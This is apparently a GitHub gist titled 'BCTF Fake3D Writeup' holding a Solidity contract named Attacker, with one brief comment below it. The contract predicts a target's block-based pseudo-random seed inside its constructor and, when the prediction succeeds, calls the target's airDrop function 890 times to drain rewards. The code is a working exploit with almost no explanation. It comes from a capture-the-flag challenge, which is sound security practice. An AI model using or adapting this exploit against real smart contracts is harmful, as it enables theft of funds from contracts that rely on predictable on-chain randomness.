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maojui/attacker.sol Secret

Last active December 7, 2018 09:51
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BCTF Fake3D Writeup
Raw
attacker.sol
contract Attacker{
using SafeMath for *;
constructor(Fake3D f3d) public {
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(address(f3d))))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < 288){
for(uint counter=0;counter<890;counter++){
f3d.airDrop();
}
}
}
}
@minhtt159
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you miss the 2nd part

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